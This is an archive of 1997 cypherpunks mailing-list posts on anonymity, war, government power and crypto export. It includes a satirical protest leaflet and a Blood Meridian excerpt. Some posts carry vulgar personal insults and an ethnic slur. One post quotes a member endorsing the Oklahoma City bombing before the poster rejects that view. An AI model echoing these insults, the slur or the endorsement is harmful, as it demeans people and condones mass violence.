From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 18 Nov 1997 18:30:39 +0800
To: cypherpunks@cyberpass.net
Subject: Fairy gold
Message-ID: <381fbc9309f2c3a22a848b5337971e48@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Persistent identities suck.  Ideas stand or fall on their own.
Reputation capital is fairy gold, evaporating with the morning dew.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)"Bob O'Booey" <a-hole@dev.null>
Date: Tue, 18 Nov 1997 11:39:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4545] Mission:Critical and Informal Fallacies
Message-ID: <199711180328.EAA15488@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:
>Robert Hettinga wrote:
>>  Notice
>> that argumentum ad hominem is when you discount someone's opinion because
>> of who they are or what they do. Vuperative insults, it seems, are another
>> thing altogether.  :-).
>
>  Right... Like we're going to believe this when communist pedophile 
>Nazi cocksucker Robert Hettinga tells it to us.

Careful, TM, you're starting to sound like a member of the Usenet Kook Cabal.

>  I bet that when I look up 'vuperative' in the dictionary, he'll be
>wrong about that, too.

I was stuck on 'vituperative.' Shows what I know. But 'attack the messenger,
not the message' is old news here.

>AdHomineMonger

Kiss my ass. :-)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 18 Nov 1997 22:05:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Overcoming War with Information
Message-ID: <199711181358.HAA05228@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Nerthus wrote:
>War is often used to justify the existence of government.  If
>politicians can convince the people that they have an enemy that must
>be destroyed, the people willingly give their lives and livelihood to
>the government to fight this assumed enemy.  War feeds the expansion
>of a government's power over its citizens.  After the war has ended,
>the government maintains this newfound power.

Governmentally inclined organizations stir up violence and trouble all
the time to strengthen their positions.  I would make a more extreme
statement and say that the source of most wars are governments.  The
counter example would be a war in which a government was dragged
unwillingly to the battlefield by its people.  Can anybody think of a
single counter example?  I cannot, but there might be one or two.

>Interestingly, the 20th century, which has been the bloodiest in
>recorded history, has also been the century of failed experiments in
>large-scale government.  The former Soviet Union and Yugoslavia are
>clear examples of what happens when different groups of people (who
>would rather not be associated) are forced to live together at the
>point of a gun.  The disolution of the Soviet Union and Yugoslavia,
>and the subsequent violence and unrest clearly illustrate the results
>of forced association.

How much of this violence arises spontaneously and how much of it is
instigated by politicians?  I haven't studied the dissolution of
Yugoslavia, but it seems likely that the new governments which were
formed strengthened their somewhat weak positions through the
instigation of violence.  The post-Yugoslav governments probably
cooperated in creating hatreds and division to lock in their rule.

This can be hard to study because usually we don't have access to the
people doing this, their files, or their communications.

There are instructive examples, however.  On Christmas Day, 1914, the
men in the trenches in France stopped fighting and left their trenches
to celebrate the day together.  Officers on both sides worked very
hard to make sure nothing so terrible would ever happen again!

It's hard to understand what terrible thing would have occurred if
World War I were simply called off.

>We must remember that people are reluctant -- and for good reason --
>to go to war.  Common sense prevails, though it may not be exercised
>all that often.  War can be avoided if the truth of the situation is
>revealed to the populace: the spotlight shone on the puppetmasters.

Preventing war entirely might be hard.  But, we can certainly create
tools and customs which make it possible for many people to evade
participation in a war.  For instance, widely available highly liquid
assets means that it is possible to be somewhat independent of a
particular nation.  This means that spending a few years outside a
warring nation is far more practical.  If things settle down, you can
go back home.  If not, stay away!

A good real life example is the Jewish people living in Germany.  They
were not allowed to take their assets with them.  If you were worth,
say, $500,000 and your choice was to lose it all or stay in the
country, you might persuade yourself that things had already hit
bottom and if you just stuck it out, you wouldn't lose your life or
your fortune.  This is a bad decision to have to make.

If we think of human beings as points in a graph and their
relationships as the edges we can create a nifty model of the world of
the future.  Right now, nations are sets of people whose relationships
are almost entirely confined to the set.  The elites of nations have
some contact with each other, but for the most part nations are
disjoint sets.

What the Net and cypherpunkly tools create is a world in which there
are not easily identified disjoint sets because any particular net of
relationships that a person has tends to overlap the relationship nets
of other people who have a dissimilar set of relationships.

This is a more reliable and robust world to live in because there is a
great deal of redundancy.  That is, the elites of two countries cannot
conspire to use their respective sets of serfs as cannon fodder in
some ill advised adventure.  It's hard to get excited about a war run
by people who are not your friends against people who happen to live
in another part of the world but with whom you have a relationship.

You are entirely right in your observation that the governments of the
world work hard at keeping the sets of people disjoint from each other
without appearing to do so.  My favorite example is the outrageous
taxes imposed on cross border communications.

>At the same time, clear solutions to the problems that have
>accumulated due to blind faith in an unworkable system have to be
>presented and implemented.  The transition will not be easy.

Personally, I like the approach of finding easy ways to do things.  I
don't think the nature of the situation requires an all or nothing
approach.  Let's say crypto is completely outlawed in the United
States and the phones are all tapped.  It still won't be possible to
suppress an underground press since the reproduction costs are so low.
In the past people have managed to publish underground newspapers
under extremely harsh conditions.  Nowadays it's as hard as copying a
diskette.

I believe that the things we do to move in a forward direction are
additive, just like money.  This goes for techniques we develop as
well as people who are involved in our projects.

We should design our systems so that they do not rely on the goodwill
of the masses.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 18 Nov 1997 22:06:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Overcoming War with Information
Message-ID: <199711181358.HAA05201@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Nerthus wrote:
>War is often used to justify the existence of government.  If
>politicians can convince the people that they have an enemy that must
>be destroyed, the people willingly give their lives and livelihood to
>the government to fight this assumed enemy.  War feeds the expansion
>of a government's power over its citizens.  After the war has ended,
>the government maintains this newfound power.

Governmentally inclined organizations stir up violence and trouble all
the time to strengthen their positions.  I would make a more extreme
statement and say that the source of most wars are governments.  The
counter example would be a war in which a government was dragged
unwillingly to the battlefield by its people.  Can anybody think of a
single counter example?  I cannot, but there might be one or two.

>Interestingly, the 20th century, which has been the bloodiest in
>recorded history, has also been the century of failed experiments in
>large-scale government.  The former Soviet Union and Yugoslavia are
>clear examples of what happens when different groups of people (who
>would rather not be associated) are forced to live together at the
>point of a gun.  The disolution of the Soviet Union and Yugoslavia,
>and the subsequent violence and unrest clearly illustrate the results
>of forced association.

How much of this violence arises spontaneously and how much of it is
instigated by politicians?  I haven't studied the dissolution of
Yugoslavia, but it seems likely that the new governments which were
formed strengthened their somewhat weak positions through the
instigation of violence.  The post-Yugoslav governments probably
cooperated in creating hatreds and division to lock in their rule.

This can be hard to study because usually we don't have access to the
people doing this, their files, or their communications.

There are instructive examples, however.  On Christmas Day, 1914, the
men in the trenches in France stopped fighting and left their trenches
to celebrate the day together.  Officers on both sides worked very
hard to make sure nothing so terrible would ever happen again!

It's hard to understand what terrible thing would have occurred if
World War I were simply called off.

>We must remember that people are reluctant -- and for good reason --
>to go to war.  Common sense prevails, though it may not be exercised
>all that often.  War can be avoided if the truth of the situation is
>revealed to the populace: the spotlight shone on the puppetmasters.

Preventing war entirely might be hard.  But, we can certainly create
tools and customs which make it possible for many people to evade
participation in a war.  For instance, widely available highly liquid
assets means that it is possible to be somewhat independent of a
particular nation.  This means that spending a few years outside a
warring nation is far more practical.  If things settle down, you can
go back home.  If not, stay away!

A good real life example is the Jewish people living in Germany.  They
were not allowed to take their assets with them.  If you were worth,
say, $500,000 and your choice was to lose it all or stay in the
country, you might persuade yourself that things had already hit
bottom and if you just stuck it out, you wouldn't lose your life or
your fortune.  This is a bad decision to have to make.

If we think of human beings as points in a graph and their
relationships as the edges we can create a nifty model of the world of
the future.  Right now, nations are sets of people whose relationships
are almost entirely confined to the set.  The elites of nations have
some contact with each other, but for the most part nations are
disjoint sets.

What the Net and cypherpunkly tools create is a world in which there
are not easily identified disjoint sets because any particular net of
relationships that a person has tends to overlap the relationship nets
of other people who have a dissimilar set of relationships.

This is a more reliable and robust world to live in because there is a
great deal of redundancy.  That is, the elites of two countries cannot
conspire to use their respective sets of serfs as cannon fodder in
some ill advised adventure.  It's hard to get excited about a war run
by people who are not your friends against people who happen to live
in another part of the world but with whom you have a relationship.

You are entirely right in your observation that the governments of the
world work hard at keeping the sets of people disjoint from each other
without appearing to do so.  My favorite example is the outrageous
taxes imposed on cross border communications.

>At the same time, clear solutions to the problems that have
>accumulated due to blind faith in an unworkable system have to be
>presented and implemented.  The transition will not be easy.

Personally, I like the approach of finding easy ways to do things.  I
don't think the nature of the situation requires an all or nothing
approach.  Let's say crypto is completely outlawed in the United
States and the phones are all tapped.  It still won't be possible to
suppress an underground press since the reproduction costs are so low.
In the past people have managed to publish underground newspapers
under extremely harsh conditions.  Nowadays it's as hard as copying a
diskette.

I believe that the things we do to move in a forward direction are
additive, just like money.  This goes for techniques we develop as
well as people who are involved in our projects.

We should design our systems so that they do not rely on the goodwill
of the masses.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 18 Nov 1997 22:04:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Illusion of Freedom
Message-ID: <199711181358.HAA05198@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Nerthus wrote:
>>It makes nice rhetoric, but this is simply not true, you know.  Most
>>people correctly evaluate that you have no chance for freedom at all
>>if you commit suicide, whereas a slave *does* have a chance.
>
>Assuming he recognizes that he *is* a slave.  Most people are
>oblivious to this fact.

>>(By "irrational" here I am referring to behaviour clearly contrary
>>to your own survival.)
>
>'Tis true.  War is a perfect example of what happens when too many
>people act irrationally.
>
>I'm interested in avoiding war without becoming a slave in the
>process.  Anyone else?

Sounds like a good deal.

However, most people who engage in war are not in any sense free and
the single most apparent feature of life in a military organization is
the elimination of freedom and privacy.

It is most often the case that in order to wage war, one must first
become enslaved.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 18 Nov 1997 22:05:56 +0800
To: cypherpunks@cyberpass.net
Subject: Violence and depravity
Message-ID: <199711181358.HAA05206@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <nobody@replay.com> wrote:
>> Every day that passes, I'm more convinced that McVeigh did the
>> right thing.  Some innocents died, but, hey, war is hell. Broken
>> eggs and all that.
>
>This speaks for itself.  Only an utterly depraved, sick, and vicious
>individual could support the killings in Oklahoma City.  This is the
>man who many would say is the most respected on the list.

I suppose it could be true that after consideration, only a morally
bad or evil person would view positively the Oklahoma City bombing.
However, the discussion is valuable and it is a productive one in
which to engage.  The morality of war is an exceptionally important
question to resolve.

What is interesting about Timothy McVeigh's world view is how
astonishingly similar it is to the view of most people in the
organizations he is attacking or, indeed, the view of most people in
American society or even the world.  In general, the massacre of
innocents is considered "depraved" when the acts are committed by
those far from the levers of power.  The USG was exposed to some
criticism in the Gulf War, but much less than would be proportional to
the number of innocents who died.  For the most part, the people who
die in modern war are non-combatants.

McVeigh apparently found it to be acceptable to kill, for the most
part, a bunch of office workers to get at his actual target the ATF
offices on the top floor of the building.  (I have no idea whether he
knew of the day care center and whether this would have affected his
decisions.)  Generally, when a military mind is confronted with a
shield of innocents, the innocents won't last long.

Once this reasoning is accepted, and it is widely, the real question
is whether the war is justified.  After seeing the horrifying picture
of the body of an 8 year old girl who was gassed and then burned at
Waco, it's difficult to dismiss war as a moral and just response.  For
those who have not seen this picture, the poor child's arms and legs
were horribly twisted into unnatural positions as a consequence of
cyanide poisoning which causes muscles to violently contract.  The
muscles in the back and on the back of the legs are stronger than the
other muscles.  In executions, the contractions can be so violent as
to break bones.

Gassing is particularly hard on children as they typically will not
have closely fitting gas masks.  (Children come in all sizes, but the
available gas masks may often do not.)

While some aspects of what happened at Waco are debatable, there is no
question that representatives of the United States government
consciously decided to gas the people in the house.  This was not a
mistake made in a time critical situation.  It was carefully planned.

It is my sense that we must not allow these sorts of acts to occur in
the future.  I feel quite strongly about this.

"The System" failed to prevent the murders and it failed to prosecute
even a single Federal official for the crimes committed.  Crimes which
can certainly be compared to "crimes against humanity".  Little seems
to be publicly known of the responsibility of the various levels of
the chain of command.  We do know that there was a great deal of
communication with the highest levels of the United States government.
William Jefferson Clinton and Janet Reno may not be guilty of
premeditated murder.  But, a series of fair trials would have cleared
up this question.  Instead, some of the surviving victims were tried.

Given that the government itself committed the atrocities and the
mechanisms to discourage future atrocities through public condemnation
and punishment were not invoked, it is clear that the solution will
not come from "within the system."

McVeigh apparently decided that the proper response was a war on the
United States government with the attendant loss of innocents.  This
decision expresses a moral code indistinguishable from that of most
officials in the government itself.  McVeigh even implied that his
government is his "great teacher"!  In my view, this is an error.
Surely we can choose better moral teachers than the United States
government!

Returning to Tim May's comment that he was feeling sympathetic with
Tim McVeigh's decisions, it seems to me that it is understandable why
such a thought would cross the mind of a person who is not morally bad
or evil.  However, it may be that after thought and discussion that a
person with sound morals and good intentions may also decide that
McVeigh's actions should not be emulated.  The important word here is
"discussion".  The interesting property of discussion is that one does
not always know at the beginning what one will believe at the end.
That's why they are worth having.  That's why it is not "utterly
depraved, sick, and vicious" for somebody to discuss an idea, even one
with which we do not agree.

Most people are not pacifists.  Brian Riley related an experience
he had in Vietnam in which somebody came running out of the bushes
with a bayoneted SKS rifle.  It would be hard to find anybody who
wouldn't do the obvious thing in this situation.

That said, I do not believe that McVeigh did the right thing.  Few of
his victims can be said to be responsible for the actions taken at
Waco.  And the problem with the use of violence is that it is hard to
control and the consequences of the act are often hard to predict.
Violence is often dangerous to the user.  Those participating in the
use of organized violence seldom have much choice in the targets,
type, or quantity of the violence employed.

Violence is, in nearly every case, a poor investment of time, money,
and energy.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 18 Nov 1997 22:06:59 +0800
To: cypherpunks@cyberpass.net
Subject: For a Dignified and Effective Demonstration
Message-ID: <199711181359.HAA05354@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




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- From an anonymous leaflet, London, early 1980s.


	     FOR A DIGNIFIED AND EFFECTIVE DEMONSTRATION

    Brought to you by the ALL-LONDON UNITED ALLIANCE OF SOCIALIST
CAUCUSES to whom teh following are signatories: G.L.C., London Labour
Party, T.U.C., S.W.P., W.R.P., I.M.G., C.N.D., Ecology Party, Y.C.L.,
and B.F.

We welcome everyone to today's demonstration, which we hope will be
amongst the biggest London has seen for many years.  We are confident
that the vast majority of you will keep intact your dignity.  A
disciplined rally is essential if we are to avoid discrediting
ourselves in the eyes of the public and losing the approval of the
police.  We want to give the media no reason to condemn our campaign
by pointing to any over-imaginative acts.  To this end, we call on
everyone to obey the dictates of the stewards who will be found
alongside the police.  They will be acting in your interests.  They
are sensible people - please be sensible with them.  Beware of
troublemakers - some may be in the crowd with you.  If you see any do
not hesitate to summon stewards or the police, who, we must remember,
are our brothers in work.  Comrades!  Even in a socialist society we
shall still need Specialists-In-Order to combat hooligans and
deviants.  While it's true that nowadays the police are occasionally
over-zealous in their protection of privilege, property, and the
violence of the world market, the best way of dealing with this is by
demanding public accountability through elected local government or
some other representation of submissive community.  In the meantime we
should recognize that they will only listen to our complaints if we
conduct ourselves in the correct manner.

			 RESPECT FOR THE DEAD

    Our tactics are those to which the greatest number can conform
with the least difficulty.  They require no more than your presence
and a minimum of participation.  All that we ask is that you recreate
the conditions of your work.  Remember!  It's numbers that count; the
boredom you feel is also imposed by the demo on everyone else.  Each
demonstrator must be equivalent to and replaceable by any other.  Just
like our old friend, the commodity.  Please bear in mind that love and
marriage go together like a horse and carriage, OK?

    We therefore ask you to comply with the following simple rules:

1. Exactly one hundred to a line, each rank to be one yard clear of
   the line in front.  No lounging please.
2. Wait for the initiative of the official loud-speakers before
   repeating the correct slogans, always recognisable by their format.
   For example: "X - IN! . . . Y - OUT!" or "WHAT DO WE WANT? -
   SOMETHING! . . . WHEN DO WE WANT IT? - WHENEVER YOU GET AROUND TO
   GIVING IT TO US!".  Kindly check that all Extra-Parliamentary
   slogans recognize the ultimate sovereignty of Parliament.  If you
   have any doubts, consult our easy-to-read list of DEMONSTRATION
   SLOGANS DO'S & DON'TS: -

CHANT                                     DO NOT CHANT
Cheap Fares Now!             NOT          Helicopters on Demand!
Victory to Fares Fight!      NOT          Total Contestation!
No Return to the 30's!       NOT          No Adventure for the '80s!
Slogans are jolly good fun!  NOT          Bollocks to Demands of our Enemies!
Baaaaaaaaaaaaaa!             NOT          Riot for Romance!

3. The left-hand side of the rally has been designated a 'No Smoking'
   area.  Demonstrators are respectfully asked to comply with this
   request.
4. If you see any impatient extremists please inform us immediately.
   They are easily distinguishable by the following kinds of sectarian
   individualism:
   a) Inventing unofficial slogans such as "Kenny is a Cop!", "Neither
   Left, Right, nor Centre!"  or "Revolution is the Festival of the
   Depressed!" or some other aggressive utopian rubbish.
   b) Departing from the prescribed site of the demo for the purpose
   of indulging in manual waltzes through shop windows and the wilful
   destruction of saleable goods.  Take care to note that Piccadilly,
   offering gold-drenched shops and fine vistas of the commodity, is a
   holiday of sheer temptation you should avoid.
   c) Making unauthorised alterations to luxury cars.
   d) Using banner poles in an extravagantly exhuberant manner.
   e) Smoking excessively long cigarettes or 'joints'.
   f) Drinking looted alcohol.

			 COORDINATED FEROCITY

   g) Suggesting that demonstrators should band together in groups of
   fifty or more in order to spread disruption of traffic as widely as
   possible.  For example, by the continuous use of zebra crossings,
   standing around chatting in the middle of the road or arranging
   obstacles to prevent the free flow of carbon monoxide, lead, cop
   cars, and tension-producing noises through our streets.
   h) Any clever, erotic, or playful expression of individual or group
   initiative.

			  CLOCKWORK FUTILITY

5. During the rally you are urged to clap your favourite speakers.
   Please confine your enthusiasm to 15 secs per point made in the
   middle of a pseech and a maximum of 30 secs at the end of one.
   Please do not interrupt with shouts of "BORING"!
6. Always remember to smile at the press cameras and adopt a suitably
   militant stance even when you feel pissed off with the whole
   business.
7. If you are uncertain whether a particular mode of behaviour is
   orderly or not, just do what everybody else is doing.  Should any
   unconventional urges remain do not hesitate to discuss them with
   one of our stewards.  They will be only too pleased to refer you to
   the appropriate specialist, whether G.P. or S.W.P.
8. At the end of the demo please do not dawdle.  Failure to make your
   way home quickly could result in you missing the sight of yourself
   on TV.

This leaflet is brought to you courtesy of the ALL-LONDON UNITED
ALLIANCE OF SOCIALIST CAUCUSES.

The following have refused to sign this leaflet:

The vandals of St. Saviours Primary School who refused to accept their
discipline quietly and who wrecked their compuslory prison, causing a
sobbing teacher to lament "These youngsters have hardly left their
cradles, but they are threatening to take over the school."

The rioters at Bydgoszcz Prison in Poland who fought Communist Party
hacks, State Police, and Solidarity union officials, all allied in
defence of the walls of the prison against the townspeople who were
helping prisoners escape.

The ASLEF traindrivers who avoid wage slavery as much as possible,
preferring dancing and drinking to sacrificing themslves to a job
which mainly involves transporting other slaves so that they may
perpetuate the futility of it all.

The black and white joyriding youth of Clapham who used CB radios for
the fun of organising efficient looting.

The Deptford New Cross Marchers of a year ago who in anger and
audacity broke away from the march in order to re-distribute weatlh in
the Bond Street area.

The Toxteth and Southall youths who shouted down Left Labour activists
patronising enough to characterize the riots as "understandable but
inexcusable".

The truckdrivers of Cleveland, USA, who took over the local
distribution of food, medicine, and other necessities, by themselves
and without mediation, for over 3 weeks.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 18 Nov 1997 22:24:38 +0800
To: cypherpunks@cyberpass.net
Subject: Robust Debate
Message-ID: <199711181359.HAA05388@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Joichi Ito wrote:
>> This discussion is hardly going down in flames. You're apparently
>> too sensitive to engage in robust debate.
>
>This is true. I am not going engage in what you probably call a
>robust debate. A lot of people read this list and any robust debate
>will probably lower my reputation capital in some important area for
>me no matter what the outcome. I am not currently willing to take
>this risk.

1. IMO, robust debate is the source of new ideas.  New and worthwhile
ideas are often shocking.  For example, the music by Bach, Beethoven,
the Beatles, and even the Sex Pistols were all shocking in their time.

2. Attacks on your posts only lower your reputation if the attacks
have substance.  Tim May has been attacked more than anybody else on
the list for years.  His reputation capital is doing just fine.

3. Use of remailers simplifies True Name reputation management.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 18 Nov 1997 22:41:42 +0800
To: cypherpunks@cyberpass.net
Subject: The Judge On War
Message-ID: <199711181359.HAA05387@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

"Blood Meridian: Or the Evening Redness in the West" by Cormac
McCarthy

  On a rise at the western edge of the playa they passed a crude
wooden cross where Maricopas had crucified an Apache.  The mummied
corpse hung from the crosstree with its mouth gaped in a raw hole, a
thing of leather and bone scoured by the pumice winds off the lake and
the pale tree of the ribs showing through the scraps of hide that hung
from the breast.  They rode on.  The horses trudged sullenly the alien
ground and the round earth rolled beneath them silently milling the
greater void wherein they were contained.  In the neuter austerity of
that terrain all phenomena were bequeathed a strange equality and no
one thing nor spider nor stone nor blade of grass could put forth
claim to precedence.  The very clarity of these articles belied their
familiarity, for the eye predicates the whole on some feature or part
and here was nothing more luminous than another and nothing more
enshadowed and in the optical democracy of such landscapes all
preference is made whimsical and a man and a rock become endowed with
unguessed kinships.
  They grew gaunted and lank under the white suns of those days and
their hollow burnedout eyes were like those of noctambulants surprised
by day.  Crouched under their hats they seemed fugitives on some
grander scale, like beings for whom the sun hungered.  Even the judge
grew silent and speculative.  He'd spoke of purging oneself of those
things that lay claim to a man but that body receiving his remarks
counted themselves well done with any claims at all.  They rode on and
the wind drove the fine gray dust before them and they rode an army of
graybeards, gray men, gray horses.  The mountains to the north lay
sunwise in corrugated folds and the days were cool and the nights were
cold and they sat about the fire each in his round of darkness in that
round of dark while the idiot watched from his cage at the edge of the
light.  The judge cracked with the back of an axe the shinbone of an
antelope and the hot marrow dripped smoking on the stones.  They
watched him.  The subject was war.
  The good book says that he that lives by the sword shall perish by
the sword, said the black.
  The judge smiled, his face shining with grease.  What right man
would have it any other way? he said.
  The good book does indeed count war an evil, said Irving.  Yet
there's many a bloody tale of war inside it.
  It makes no difference what men think of war, said the judge.  War
endures.  As well ask men what they think of stone.  War was always
here.  Before man was, war waited for him.  The ultimate trade
awaiting its ultimate practitioner.  That is the way it was and will
be.  That way and not some other way.
  He turned to Brown, from whom he'd heard some whispered slur or
demurrer.  Ah Davy, he said.  It's your own trade we honor here.  Why
not rather take a small bow.  Let each acknowledge each.
  My trade?
  Certainly.
  What is my trade?
  War.  War is your trade.  Is it not?
  And it aint yours?
  Mine too.  Very much so.
  What about all them notebooks and bones and stuff?
  All other trades are contained in that of war.
  Is that why war endures?
  No.  It endures because young men love it and old men love it in
them.  Those that fought, those that did not.
  That's your notion.
  The judge smiled.  Men are born for games.  Nothing else.  Every
child knows that play is nobler than work.  He knows too that the
worth or merit of a game is not inherent in the game itself but rather
in the value of that which is put at hazard.  Games of chance require
a wager to have meaning at all.  Games of sport involve the skill and
strength of the opponents and the humiliation of defeat and the pride
of victory are in themselves sufficient stake because they inhere in
the worth of the principals and define them.  But trial of chance or
trial of worth all games aspire to the condition of war for here that
which is wagered swallows up game, player, all.
  Suppose two men at cards with nothing to wager save their lives.
Who has not heard such a tale?  A turn of the card.  The whole
universe for such a player has labored clanking to this moment which
will tell if he is to die at that man's hand or that man at his.  What
more certain validation of a man's worth could there be?  This
enhancement of the game to its ultimate state admits no argument
concerning the notion of fate.  The selection of one man over another
is a preference absolute and irrevocable and it is a dull man indeed
who could reckon so profound a decision without agency or significance
either one.  In such games as have for their stake the annihilation of
the defeated the decisions are quite clear.  This man holding this
particular arrangement of cards in his hand is thereby removed from
existence.  This is the nature of war, whose stake is at once a game
and the authority and the justification.  Seen so, war is the truest
form of divination.  It is the testing of one's will and the will of
another within that larger will which because it binds them is
therefore forced to select.  War is the ultimate game because war is
at last forcing of the unity of existence.  War is god.
  Brown studied the judge.  You're crazy Holden.  Crazy at last.
  The judge smiled.
  Might does not make right, said Irving.  The man that wins in some
combat is not vindicated morally.
  Moral law is an invention of mankind for the disenfranchisement of
the powerful in favor of the weak.  Historical law subverts it at
every turn.  A moral view can never be proven right or wrong by any
ultimate test.  A man falling dead in a duel is not thought thereby to
be proven in error as to his views.  His very involvement in such a
trial gives evidence of a new and broader view.  The willingness of
the principals to forgo further argument as the triviality which it in
fact is and to petition directly the chambers of the historical
absolute clearly indicates of how little moment are the opinions and
of what great moment the divergences thereof.  For the argument is
indeed trivial, but not so the separate wills thereby made manifest.
Man's vanity may well approach the infinite in capacity but his
knowledge remains imperfect and howevermuch he comes to value his
judgements ultimately he must submit them before a higher court.  Here
there can be no special pleading.  Here are considerations of equity
and rectitude and moral right rendered void and without warrant and
here are the views of the litigants despised.  Decisions of life and
death, of what shall be and what shall not, beggar all question of
right.  In elections of these magnitudes are all lesser ones subsumed,
moral, spiritual, natural.
  The judge searched out the circle for disputants.  But what says the
priest? he said.
  Tobin looked up.  The priest does not say.
  The priest does not say, said the judge.  Nihil dicit.  But the
priest has said.  For the priest has put by the robes of his craft and
taken up the tools of that higher calling which all men honor.  The
priest also would be no godserver but a god himself.
  Tobin shook his head.  You've a blasphemous tongue, Holden.  And in
truth I was never a priest but only a novitiate to the order.
  Journeyman priest or apprentice priest, said the judge.  Men of god
and men of war have strange affinities.
  I'll not secondsay you in your notions, said Tobin.  Dont ask it.
  Ah Priest, said the judge.  What could I ask of you that you've not
already given?

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 18 Nov 1997 20:47:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
In-Reply-To: <199711180715.IAA13188@basement.replay.com>
Message-ID: <199711181238.HAA04276@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711180715.IAA13188@basement.replay.com>, on 11/18/97 
   at 08:15 AM, Anonymous <nobody@REPLAY.COM> said:

>Adam Back writes:

>> I am pleased that you are discussing with us crypto politics in
>> Japan... we have few contributors from Japan in the past.

>Yeah, surprising, isn't it, considering how open and welcoming the
>cypherpunks have been to foreigners and minority races...

>Actually Adam Back should be nominated for cypherpunk of the year. Unlike
>a blowhard do-nothing like Timothy "Chop-chop" May (and now we know what
>the C stands for, don't we?), Adam actually accomplishes things. His
>3-line RSA has dramatized the absurdity of the export controls like
>nothing else.  He built a working prototype of an eternity server while
>everybody else just talked about it.  He's been a leader in the fight to
>oppose PGP GAKware.  He has strong political views but is not motivated
>by hatred and fear.

>Adam doesn't get nearly the respect he deserves, probably because he's
>not much of a wordsmith.  Tim May's sophistry is good enough to pull the
>wool over most people's eyes.  But look deeper and you'll see that Adam's
>heart is pure.  That's worth far more than May's skill at artfully
>wrapping his garbage.

So when is the marriage planed??

Are you and Adam registered at Harrod's so I can send a gift?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 18 Nov 1997 20:49:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711180955.KAA01687@basement.replay.com>
Message-ID: <199711181241.HAA04320@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711180955.KAA01687@basement.replay.com>, on 11/18/97 
   at 10:55 AM, Anonymous <nobody@REPLAY.COM> said:

>Anybody remember when people still used the term "ObCrypto" in their
>posts?  That was back when the list still meant something about crypto
>and freedom, before it became dedicated to racial hatred.  I understand
>that the catchphrase de rigeur is now "ObJapBashing".

How about:

ObPoliticalCorrectness
ObBleadingHartLiberal
ObPCHistoricalRevisionist
ObThereShouldBeALaw


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=t0Vu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@phonemenow.com
Date: Tue, 18 Nov 1997 21:30:02 +0800
To: cypherpunks@toad.com
